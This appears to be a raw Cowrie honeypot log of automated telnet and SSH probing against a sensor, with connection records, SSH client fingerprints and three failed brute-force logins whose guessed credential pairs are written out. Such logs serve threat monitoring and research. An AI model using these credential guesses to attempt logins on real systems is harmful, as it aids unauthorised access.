{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44418,"dst_ip":"159.203.135.109","dst_port":23,"session":"15e4adbb9a49","protocol":"telnet","message":"New connection: 147.124.211.111:44418 (159.203.135.109:23) [session: 15e4adbb9a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:34.085499Z"}
{"eventid":"cowrie.session.closed","duration":31.257395267486572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:34.284228Z","src_ip":"147.124.211.111","session":"c91ba43b64e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333324432373047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:34.327443Z","src_ip":"147.124.211.111","session":"3bfca7d69b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44406,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3fa5a9f6a5","protocol":"telnet","message":"New connection: 147.124.211.111:44406 (159.203.135.109:23) [session: 8a3fa5a9f6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:34.436119Z"}
{"eventid":"cowrie.session.closed","duration":31.085278511047363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:34.878999Z","src_ip":"147.124.211.111","session":"9035a4329294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903027772903442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:35.080658Z","src_ip":"147.124.211.111","session":"480aaa7fdc70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295718669891357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:35.527106Z","src_ip":"147.124.211.111","session":"a11b9e07c01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.335771560668945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:35.653592Z","src_ip":"147.124.211.111","session":"69220cddea16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.598270893096924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:35.805971Z","src_ip":"147.124.211.111","session":"ba620c40d788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.221599578857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:36.127945Z","src_ip":"147.124.211.111","session":"72d094ecdf0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":56168,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed57c1d218a9","protocol":"ssh","message":"New connection: 103.86.180.10:56168 (159.203.135.109:22) [session: ed57c1d218a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:36.442658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:36.447165Z","src_ip":"103.86.180.10","session":"ed57c1d218a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:36.644187Z","src_ip":"103.86.180.10","session":"ed57c1d218a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44428,"dst_ip":"159.203.135.109","dst_port":23,"session":"45864cc1eafa","protocol":"telnet","message":"New connection: 147.124.211.111:44428 (159.203.135.109:23) [session: 45864cc1eafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:37.017761Z"}
{"eventid":"cowrie.login.failed","username":"tttserver","password":"tttserver","message":"login attempt [tttserver/tttserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:37.463964Z","src_ip":"103.86.180.10","session":"ed57c1d218a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44444,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4f1201083b","protocol":"telnet","message":"New connection: 147.124.211.111:44444 (159.203.135.109:23) [session: bf4f1201083b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:37.644243Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44448,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e578fb1349","protocol":"telnet","message":"New connection: 147.124.211.111:44448 (159.203.135.109:23) [session: 81e578fb1349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:38.029689Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44460,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43369d5357e","protocol":"telnet","message":"New connection: 147.124.211.111:44460 (159.203.135.109:23) [session: e43369d5357e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:38.300236Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44484,"dst_ip":"159.203.135.109","dst_port":23,"session":"373aa8fe7358","protocol":"telnet","message":"New connection: 147.124.211.111:44484 (159.203.135.109:23) [session: 373aa8fe7358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:38.609693Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:38.663843Z","src_ip":"103.86.180.10","session":"ed57c1d218a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"842661f0c870","protocol":"telnet","message":"New connection: 147.124.211.111:44486 (159.203.135.109:23) [session: 842661f0c870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:38.998783Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49022,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ec93df77d9","protocol":"telnet","message":"New connection: 137.184.155.248:49022 (10.17.0.5:23) [session: 06ec93df77d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:39.345192Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dad8131d222","protocol":"telnet","message":"New connection: 147.124.211.111:44472 (159.203.135.109:23) [session: 3dad8131d222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:39.506009Z"}
{"eventid":"cowrie.session.closed","duration":30.38214612007141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:40.114604Z","src_ip":"147.124.211.111","session":"75046baa3ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945809602737427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:40.286802Z","src_ip":"147.124.211.111","session":"78eb35804eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86445116996765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:40.802227Z","src_ip":"147.124.211.111","session":"3b71e1c60baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43498,"dst_ip":"159.203.135.109","dst_port":23,"session":"23f4dabfb819","protocol":"telnet","message":"New connection: 147.124.211.111:43498 (159.203.135.109:23) [session: 23f4dabfb819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:40.959831Z"}
{"eventid":"cowrie.session.closed","duration":30.481661319732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:41.060011Z","src_ip":"147.124.211.111","session":"54dbe9deea26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43506,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc216b3db2f","protocol":"telnet","message":"New connection: 147.124.211.111:43506 (159.203.135.109:23) [session: 9dc216b3db2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:41.426079Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43514,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b63ab685f11","protocol":"telnet","message":"New connection: 147.124.211.111:43514 (159.203.135.109:23) [session: 7b63ab685f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:42.037013Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43518,"dst_ip":"159.203.135.109","dst_port":23,"session":"947afb941cd6","protocol":"telnet","message":"New connection: 147.124.211.111:43518 (159.203.135.109:23) [session: 947afb941cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:42.153255Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43502,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a7df7ec4e9","protocol":"telnet","message":"New connection: 147.124.211.111:43502 (159.203.135.109:23) [session: 81a7df7ec4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:42.180112Z"}
{"eventid":"cowrie.session.closed","duration":30.509156703948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:42.430951Z","src_ip":"147.124.211.111","session":"1cbab77a814d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48384404182434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:43.044481Z","src_ip":"147.124.211.111","session":"92a6ea6294df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43532,"dst_ip":"159.203.135.109","dst_port":23,"session":"c587d45c9fba","protocol":"telnet","message":"New connection: 147.124.211.111:43532 (159.203.135.109:23) [session: c587d45c9fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:43.756384Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43536,"dst_ip":"159.203.135.109","dst_port":23,"session":"f750204e0457","protocol":"telnet","message":"New connection: 147.124.211.111:43536 (159.203.135.109:23) [session: f750204e0457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:43.876512Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43550,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0496965993f","protocol":"telnet","message":"New connection: 147.124.211.111:43550 (159.203.135.109:23) [session: a0496965993f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:43.942057Z"}
{"eventid":"cowrie.session.closed","duration":30.811807870864868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:44.191242Z","src_ip":"147.124.211.111","session":"b40bd66ea60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":53438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae17dc016baa","protocol":"ssh","message":"New connection: 72.253.251.7:53438 (159.203.135.109:22) [session: ae17dc016baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:44.444220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:44.447924Z","src_ip":"72.253.251.7","session":"ae17dc016baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:44.564603Z","src_ip":"72.253.251.7","session":"ae17dc016baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.60302209854126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:44.986016Z","src_ip":"147.124.211.111","session":"3b54ea4060b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q123456.","message":"login attempt [ubuntu/q123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:45.069765Z","src_ip":"72.253.251.7","session":"ae17dc016baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9e3a914f69","protocol":"telnet","message":"New connection: 147.124.211.111:43552 (159.203.135.109:23) [session: 0c9e3a914f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:45.444049Z"}
{"eventid":"cowrie.session.closed","duration":48.30917406082153,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.025554Z","src_ip":"137.184.155.248","session":"40c0e823cb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.190202Z","src_ip":"72.253.251.7","session":"ae17dc016baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04361891746521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.215461Z","src_ip":"147.124.211.111","session":"928afc70e0fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"722f87615f16","protocol":"telnet","message":"New connection: 147.124.211.111:43566 (159.203.135.109:23) [session: 722f87615f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.342044Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":41202,"dst_ip":"10.17.0.5","dst_port":22,"session":"d48389455541","protocol":"ssh","message":"New connection: 41.86.34.139:41202 (10.17.0.5:22) [session: d48389455541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.741127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.745974Z","src_ip":"41.86.34.139","session":"d48389455541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.428914785385132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.767421Z","src_ip":"147.124.211.111","session":"d0ce88517540","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:46.953714Z","src_ip":"41.86.34.139","session":"d48389455541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43584,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc59afe1810","protocol":"telnet","message":"New connection: 147.124.211.111:43584 (159.203.135.109:23) [session: edc59afe1810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:47.527161Z"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"pass","message":"login attempt [newuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:47.817666Z","src_ip":"41.86.34.139","session":"d48389455541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43568,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6532b52a86","protocol":"telnet","message":"New connection: 147.124.211.111:43568 (159.203.135.109:23) [session: 2a6532b52a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:48.082181Z"}
{"eventid":"cowrie.session.closed","duration":31.566781044006348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:48.800809Z","src_ip":"147.124.211.111","session":"e998bc731d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:49.028275Z","src_ip":"41.86.34.139","session":"d48389455541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.105003833770752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:49.042641Z","src_ip":"147.124.211.111","session":"02c8babf9032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80869174003601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:49.323857Z","src_ip":"147.124.211.111","session":"b310f4fa93a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289342880249023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:49.731273Z","src_ip":"147.124.211.111","session":"0e2df3dc6eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.888317823410034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:49.998415Z","src_ip":"147.124.211.111","session":"89e745224d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":43598,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13d7560c1af","protocol":"telnet","message":"New connection: 147.124.211.111:43598 (159.203.135.109:23) [session: c13d7560c1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:50.051272Z"}
{"eventid":"cowrie.session.closed","duration":31.138502836227417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:50.139504Z","src_ip":"147.124.211.111","session":"1a17e3d58ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091575622558594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:50.679419Z","src_ip":"147.124.211.111","session":"9f4926ccd73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb77855d9781","protocol":"telnet","message":"New connection: 147.124.211.111:51842 (159.203.135.109:23) [session: eb77855d9781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:50.728208Z"}
{"eventid":"cowrie.session.closed","duration":31.23349380493164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:51.980427Z","src_ip":"147.124.211.111","session":"810816486343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85318422317505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:52.152229Z","src_ip":"147.124.211.111","session":"d2a067189171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd77f1681ede","protocol":"telnet","message":"New connection: 147.124.211.111:51846 (159.203.135.109:23) [session: dd77f1681ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:53.507702Z"}
